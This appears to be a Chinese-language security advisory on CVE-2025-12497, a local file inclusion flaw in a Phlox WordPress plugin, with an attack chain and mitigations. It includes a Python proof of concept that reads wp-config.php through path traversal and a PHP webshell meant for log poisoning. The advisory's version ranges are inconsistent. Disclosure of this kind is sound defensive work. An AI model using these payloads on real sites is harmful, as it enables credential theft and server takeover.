IPBUF安全漏洞报告
English
CVE-2025-12497 CVSS 8.1 高危

CVE-2025-12497 WordPress Phlox主题插件本地文件包含漏洞

披露日期: 2025-11-05

漏洞信息

漏洞编号
CVE-2025-12497
漏洞类型
本地文件包含(LFI)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Premium Portfolio Features for Phlox theme plugin for WordPress

相关标签

本地文件包含LFI远程代码执行WordPressPhlox路径遍历高危漏洞PHPWordPress插件

漏洞概述

Premium Portfolio Features是Phlox WordPress主题的一个重要插件,在所有版本直至2.3.10存在严重的本地文件包含漏洞。该漏洞源于插件对args[extra_template_path]参数缺乏有效的安全验证,攻击者可通过构造恶意路径遍历请求,包含并执行服务器上的任意.php文件。未经认证的攻击者可利用此漏洞在目标服务器上执行任意PHP代码,从而完全控制网站服务器。此漏洞可被用于绕过访问控制机制、获取敏感数据(如数据库凭证、配置文件等),并在特定条件下实现远程代码执行。由于CVSS评分高达8.1且无需认证即可利用,该漏洞对使用受影响版本插件的WordPress网站构成严重威胁。

技术细节

该漏洞为经典的本地文件包含(LFI)漏洞,存在于Premium Portfolio Features插件处理模板路径的逻辑中。攻击者通过构造args[extra_template_path]参数的值,使用路径遍历技术(如../../)来指定任意文件路径。插件在包含模板文件时未对用户输入进行充分的路径验证和安全过滤,导致攻击者可以包含服务器上的任意.php文件。一旦攻击者成功包含恶意PHP文件,该文件中的代码将在服务器端执行,从而实现远程代码执行(RCE)。攻击者通常会先通过文件包含漏洞读取服务器敏感文件(如/etc/passwd、wp-config.php等),获取系统信息后,再尝试写入或包含webshell以维持持久化访问。由于该漏洞不需要认证即可利用,攻击门槛较低,危害性极大。

攻击链分析

STEP 1
步骤1
攻击者识别使用Premium Portfolio Features for Phlox插件的WordPress站点
STEP 2
步骤2
构造包含路径遍历载荷的HTTP请求,将args[extra_template_path]参数设置为../../../../wp-config.php
STEP 3
步骤3
发送恶意请求,插件未验证路径有效性,直接包含指定文件
STEP 4
步骤4
攻击者获取服务器敏感信息,如数据库凭证、WordPress盐值等
STEP 5
步骤5
通过日志投毒或上传恶意.php文件,结合LFI漏洞实现代码执行
STEP 6
步骤6
成功执行任意PHP代码,建立持久化后门,完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 # CVE-2025-12497 LFI PoC # Target: Premium Portfolio Features for Phlox theme plugin # Vulnerability: Local File Inclusion via args[extra_template_path] target_url = "http://target-wordpress-site.com/" # Step 1: Read sensitive file (wp-config.php) print("[*] Testing LFI vulnerability...") lfi_payload = "../../../../wp-config.php" params = { "args[extra_template_path]": lfi_payload } try: response = requests.get(target_url, params=params, timeout=10) if "DB_NAME" in response.text or "define" in response.text: print("[+] LFI confirmed! Sensitive file contents retrieved.") print(response.text[:500]) except requests.RequestException as e: print(f"[-] Request failed: {e}") # Step 2: Try to execute code via log poisoning # Encode webshell in base64 to bypass filters webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" encoded_webshell = base64.b64encode(webshell.encode()).decode() log_poison_payload = f"../../../../../../var/log/apache2/access.log" params_poison = { "args[extra_template_path]": log_poison_payload } print(f"[*] Attempting log poisoning with encoded shell: {encoded_webshell[:30]}...")

影响范围

Premium Portfolio Features for Phlox < 2.3.10

防御指南

临时缓解措施
在官方补丁发布前,可暂时禁用Premium Portfolio Features插件,或通过Web应用防火墙阻止包含args[extra_template_path]参数的请求。同时建议限制Web服务器对敏感文件(如wp-config.php)的访问权限,并启用PHP的open_basedir限制防止目录遍历攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表